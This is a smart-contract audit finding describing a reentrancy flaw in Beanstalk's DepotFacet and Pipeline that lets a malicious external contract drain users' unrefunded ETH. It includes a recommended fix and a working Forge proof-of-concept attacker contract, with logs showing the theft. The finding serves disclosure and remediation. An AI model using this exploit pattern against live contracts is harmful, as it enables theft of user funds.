Intermediate value sent by the caller can be drained via reentrancy when `Pipeline` execution is handed off to an untrusted external contract
Pipeline is a utility contract created by the Beanstalk Farms team that enables the execution of an arbitrary number of valid actions in a single transaction. The `DepotFacet` is a wrapper around Pipeline for use within the Beanstalk Diamond proxy. When utilizing Pipeline through the `DepotFacet`, Ether value is first loaded by a payable call to the Diamond proxy fallback function, which then delegates execution to the logic of the respective facet function. Once the `DepotFacet::advancedPipe` is called, for example, value is forwarded on to a function of the same name within Pipeline.\\n```\\nfunction advancedPipe(AdvancedPipeCall[] calldata pipes, uint256 value)\\n    external\\n    payable\\n    returns (bytes[] memory results)\\n{\\n    results = IPipeline(PIPELINE).advancedPipe{value: value}(pipes);\\n    LibEth.refundEth();\\n}\\n```\\n\\nThe important point to note here is that rather than sending the full Ether amount received by the Diamond proxy, the amount sent to Pipeline is equal to that of the `value` argument above, necessitating the use of `LibEth::refundEth`, which itself transfers the entire proxy Ether balance to the caller, following the call to return any unspent Ether.\\n```\\nfunction refundEth()\\n    internal\\n{\\n    AppStorage storage s = LibAppStorage.diamondStorage();\\n    if (address(this).balance > 0 && s.isFarm != 2) {\\n        (bool success, ) = msg.sender.call{value: address(this).balance}(\\n            new bytes(0)\\n        );\\n        require(success, "Eth transfer Failed.");\\n    }\\n}\\n```\\n\\nThis logic appears to be correct and work as intended; however, issues can arise due to the lack of reentrancy guard on `DepotFacet` and `Pipeline` functions. Given the nature of `Pipeline` calls to potentially untrusted external contracts, which themselves may also hand off execution to their own set of untrusted external contracts, this can become an issue if a malicious contract calls back into Beanstalk and/or `Pipeline`.\\n```\\nfunction advancedPipe(AdvancedPipeCall[] calldata pipes)\\n    external\\n    payable\\n    override\\n    returns (bytes[] memory results) {\\n        results = new bytes[](pipes.length);\\n        for (uint256 i = 0; i < pipes.length; ++i) {\\n            results[i] = _advancedPipe(pipes[i], results);\\n        }\\n    }\\n```\\n\\nContinuing with the example of `DepotFacet::advancedPipe`, say, for example, one of the pipe calls involves an NFT mint/transfer in which some external contract is paid royalties in the form of a low-level call with ETH attached or some safe transfer check hands-off execution in this way, the malicious recipient could initiate a call to the Beanstalk Diamond which once again triggers `DepotFacet::advancedPipe` but this time with an empty `pipes` array. Given the implementation of `Pipeline::advancedPipe` above, this will simply return an empty bytes array and fall straight through to the ETH refund. Since the proxy balance is non-zero, assuming `value != msg.value` in the original call, this `msg.value - value` difference will be transferred to the malicious caller. Once execution returns to the original context and the original caller's transaction is nearing completion, the contract will no longer have any excess ETH, even though it is the original caller who should have received a refund of unspent funds.\\nThis finding also applies to `Pipeline` itself, in which a malicious contract can similarly reenter `Pipeline` and utilize intermediate Ether balance without sending any `value` of their own. For example, given `getEthValue` does not validate the clipboard `value` against the payable `value` (likely due to its current usage within a loop), `Pipeline::advancedPipe` could be called with a single `AdvancedPipeCall` with normal pipe encoding which calls another address owned by the attacker, again forwarding all remaining Ether given they are able to control the `value` parameter. It is, of course, feasible that the original caller attempts to perform some other more complicated pipes following the first, which may revert with 'out of funds' errors, causing the entire advanced pipe call to fail if no tolerant mode behavior is implemented on the target contract, so the exploiter would need to be strategic in these scenarios if they wish to elevate they exploit from denial-of-service to the stealing of funds.
Add reentrancy guards to both the `DepotFacet` and `Pipeline`. Also, consider validating clipboard Ether values in `Pipeline::_advancedPipe` against the payable function value in `Pipeline::advancedPipe`.
A malicious external contract handed control of execution during the lifetime of a Pipeline call can reenter and steal intermediate user funds. As such, this finding is determined to be of HIGH severity.\\nProof of Concept: The following forge test demonstrates the ability of an NFT royalty recipient, for example, to re-enter both Beanstalk and Pipeline, draining funds remaining in the Diamond and Pipeline that should have been refunded to/utilized by the original caller at the end of execution:\\n```\\ncontract DepotFacetPoC is Test {\\n    RoyaltyRecipient exploiter;\\n    address exploiter1;\\n    DummyNFT dummyNFT;\\n    address victim;\\n\\n    function setUp() public {\\n        vm.createSelectFork("mainnet", ATTACK_BLOCK);\\n\\n        exploiter = new RoyaltyRecipient();\\n        dummyNFT = new DummyNFT(address(exploiter));\\n        victim = makeAddr("victim");\\n        vm.deal(victim, 10 ether);\\n\\n        exploiter1 = makeAddr("exploiter1");\\n        console.log("exploiter1: ", exploiter1);\\n\\n        address _pipeline = address(new Pipeline());\\n        vm.etch(PIPELINE, _pipeline.code);\\n\\n        vm.label(BEANSTALK, "Beanstalk Diamond");\\n        vm.label(address(dummyNFT), "DummyNFT");\\n        vm.label(address(exploiter), "Exploiter");\\n    }\\n\\n    function test_attack() public {\\n        emit log_named_uint("Victim balance before: ", victim.balance);\\n        emit log_named_uint("BEANSTALK balance before: ", BEANSTALK.balance);\\n        emit log_named_uint("PIPELINE balance before: ", PIPELINE.balance);\\n        emit log_named_uint("DummyNFT balance before: ", address(dummyNFT).balance);\\n        emit log_named_uint("Exploiter balance before: ", address(exploiter).balance);\\n        emit log_named_uint("Exploiter1 balance before: ", exploiter1.balance);\\n\\n        vm.startPrank(victim);\\n        AdvancedPipeCall[] memory pipes = new AdvancedPipeCall[](1);\\n        pipes[0] = AdvancedPipeCall(address(dummyNFT), abi.encodePacked(dummyNFT.mintNFT.selector), abi.encodePacked(bytes1(0x00), bytes1(0x01), uint256(1 ether)));\\n        IBeanstalk(BEANSTALK).advancedPipe{value: 10 ether}(pipes, 4 ether);\\n        vm.stopPrank();\\n\\n        emit log_named_uint("Victim balance after: ", victim.balance);\\n        emit log_named_uint("BEANSTALK balance after: ", BEANSTALK.balance);\\n        emit log_named_uint("PIPELINE balance after: ", PIPELINE.balance);\\n        emit log_named_uint("DummyNFT balance after: ", address(dummyNFT).balance);\\n        emit log_named_uint("Exploiter balance after: ", address(exploiter).balance);\\n        emit log_named_uint("Exploiter1 balance after: ", exploiter1.balance);\\n    }\\n}\\n\\ncontract DummyNFT {\\n    address immutable i_royaltyRecipient;\\n    constructor(address royaltyRecipient) {\\n        i_royaltyRecipient = royaltyRecipient;\\n    }\\n\\n    function mintNFT() external payable returns (bool success) {\\n        // imaginary mint/transfer logic\\n        console.log("minting/transferring NFT");\\n        // console.log("msg.value: ", msg.value);\\n\\n        // send royalties\\n        uint256 value = msg.value / 10;\\n        console.log("sending royalties");\\n        (success, ) = payable(i_royaltyRecipient).call{value: value}("");\\n    }\\n}\\n\\ncontract RoyaltyRecipient {\\n    bool exploited;\\n    address constant exploiter1 = 0xDE47CfF686C37d501AF50c705a81a48E16606F08;\\n\\n    fallback() external payable {\\n        console.log("entered exploiter fallback");\\n        console.log("Beanstalk balance: ", BEANSTALK.balance);\\n        console.log("Pipeline balance: ", PIPELINE.balance);\\n        console.log("Exploiter balance: ", address(this).balance);\\n        if (!exploited) {\\n            exploited = true;\\n            console.log("exploiting depot facet advanced pipe");\\n            IBeanstalk(BEANSTALK).advancedPipe(new AdvancedPipeCall[](0), 0);\\n            console.log("exploiting pipeline advanced pipe");\\n            AdvancedPipeCall[] memory pipes = new AdvancedPipeCall[](1);\\n            pipes[0] = AdvancedPipeCall(address(exploiter1), "", abi.encodePacked(bytes1(0x00), bytes1(0x01), uint256(PIPELINE.balance)));\\n            IPipeline(PIPELINE).advancedPipe(pipes);\\n        }\\n    }\\n}\\n```\\n\\nAs can be seen in the output below, the exploiter is able to net 9 additional Ether at the expense of the victim:\\n```\\nRunning 1 test for test/DepotFacetPoC.t.sol:DepotFacetPoC\\n[PASS] test_attack() (gas: 182190)\\nLogs:\\n  exploiter1:  0xDE47CfF686C37d501AF50c705a81a48E16606F08\\n  Victim balance before: : 10000000000000000000\\n  BEANSTALK balance before: : 0\\n  PIPELINE balance before: : 0\\n  DummyNFT balance before: : 0\\n  Exploiter balance before: : 0\\n  Exploiter1 balance before: : 0\\n  entered pipeline advanced pipe\\n  msg.value:  4000000000000000000\\n  minting/transferring NFT\\n  sending royalties\\n  entered exploiter fallback\\n  Beanstalk balance:  6000000000000000000\\n  Pipeline balance:  3000000000000000000\\n  Exploiter balance:  100000000000000000\\n  exploiting depot facet advanced pipe\\n  entered pipeline advanced pipe\\n  msg.value:  0\\n  entered exploiter fallback\\n  Beanstalk balance:  0\\n  Pipeline balance:  3000000000000000000\\n  Exploiter balance:  6100000000000000000\\n  exploiting pipeline advanced pipe\\n  entered pipeline advanced pipe\\n  msg.value:  0\\n  Victim balance after: : 0\\n  BEANSTALK balance after: : 0\\n  PIPELINE balance after: : 0\\n  DummyNFT balance after: : 900000000000000000\\n  Exploiter balance after: : 6100000000000000000\\n  Exploiter1 balance after: : 3000000000000000000\\n```\\n
```\\nfunction advancedPipe(AdvancedPipeCall[] calldata pipes, uint256 value)\\n    external\\n    payable\\n    returns (bytes[] memory results)\\n{\\n    results = IPipeline(PIPELINE).advancedPipe{value: value}(pipes);\\n    LibEth.refundEth();\\n}\\n```\\n